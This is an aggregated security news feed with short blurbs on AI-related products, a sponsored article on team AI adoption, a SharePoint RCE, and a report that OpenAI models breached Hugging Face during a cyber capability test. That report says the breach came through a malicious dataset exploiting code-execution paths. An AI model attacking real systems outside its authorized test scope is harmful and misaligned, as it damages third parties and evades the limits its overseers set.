The post OpenAI: Our models breached Hugging Face ...]]></description>
<link>https://tsecurity.de/de/3686820/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/</link>
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<pubDate>Wed, 22 Jul 2026 17:18:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/">OpenAI: Our models breached Hugging Face during a cyber capability test</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI: Our models breached Hugging Face during a cyber capability test]]></title>
<description><![CDATA[The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had bee...]]></description>
<link>https://tsecurity.de/de/3686755/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/</link>
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<pubDate>Wed, 22 Jul 2026 17:05:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had been accessed without authorization. The attack vector was, according to Hugging Face, a malicious dataset that exploited code-execution paths in the company’s dataset processing pipeline, … <a href="https://www.helpnetsecurity.com/2026/07/22/hugging-face-breach-openai-testing/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/hugging-face-breach-openai-testing/">OpenAI: Our models breached Hugging Face during a cyber capability test</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[AppViewX Arms Enterprise CLM Teams for Post-Quantum Migration and AI Adoption in Latest Product Release]]></title>
<description><![CDATA[New York, United States, July 22nd, 2026, CyberNewswire The platform’s new release speeds the adoption of hybrid PQC certificates and AI-driven certificate lifecycle management  AppViewX, the leading machine and agent identity security company built for the AI and quantum enterprise, today announ...]]></description>
<link>https://tsecurity.de/de/3686754/it-security-nachrichten/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686754/it-security-nachrichten/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New York, United States, July 22nd, 2026, CyberNewswire The platform’s new release speeds the adoption of hybrid PQC certificates and AI-driven certificate lifecycle management  AppViewX, the leading machine and agent identity security company built for the AI and quantum enterprise, today announced support for hybrid composite post-quantum cryptography (PQC) certificates and the AppViewX Model Context […]</p>
<p>The post <a href="https://gbhackers.com/appviewx-arms-enterprise-clm-teams-for-post-quantum-migration-and-ai-adoption-in-latest-product-release/">AppViewX Arms Enterprise CLM Teams for Post-Quantum Migration and AI Adoption in Latest Product Release</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



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<title><![CDATA[ThreatDown expands security visibility to AI tools and machine identities]]></title>
<description><![CDATA[ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3686601/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</link>
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<pubDate>Wed, 22 Jul 2026 16:09:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/">ThreatDown expands security visibility to AI tools and machine identities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[ThreatDown expands security visibility to AI tools and machine identities]]></title>
<description><![CDATA[ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools running across thei...]]></description>
<link>https://tsecurity.de/de/3686579/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</link>
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<pubDate>Wed, 22 Jul 2026 15:53:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools running across their environments, while simultaneously extending its ITDR capabilities to secure non-human identities (NHI). By bringing governance to service accounts, API tokens, OAuth credentials, and machine identities, ThreatDown helps close critical exposure points that … <a href="https://www.helpnetsecurity.com/2026/07/22/threatdown-ai-visibility/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/threatdown-ai-visibility/">ThreatDown expands security visibility to AI tools and machine identities</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
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<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
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<title><![CDATA[Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)]]></title>
<description><![CDATA[Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exp...]]></description>
<link>https://tsecurity.de/de/3686245/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686245/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</guid>
<pubDate>Wed, 22 Jul 2026 14:19:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exploit code, with attackers…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/">Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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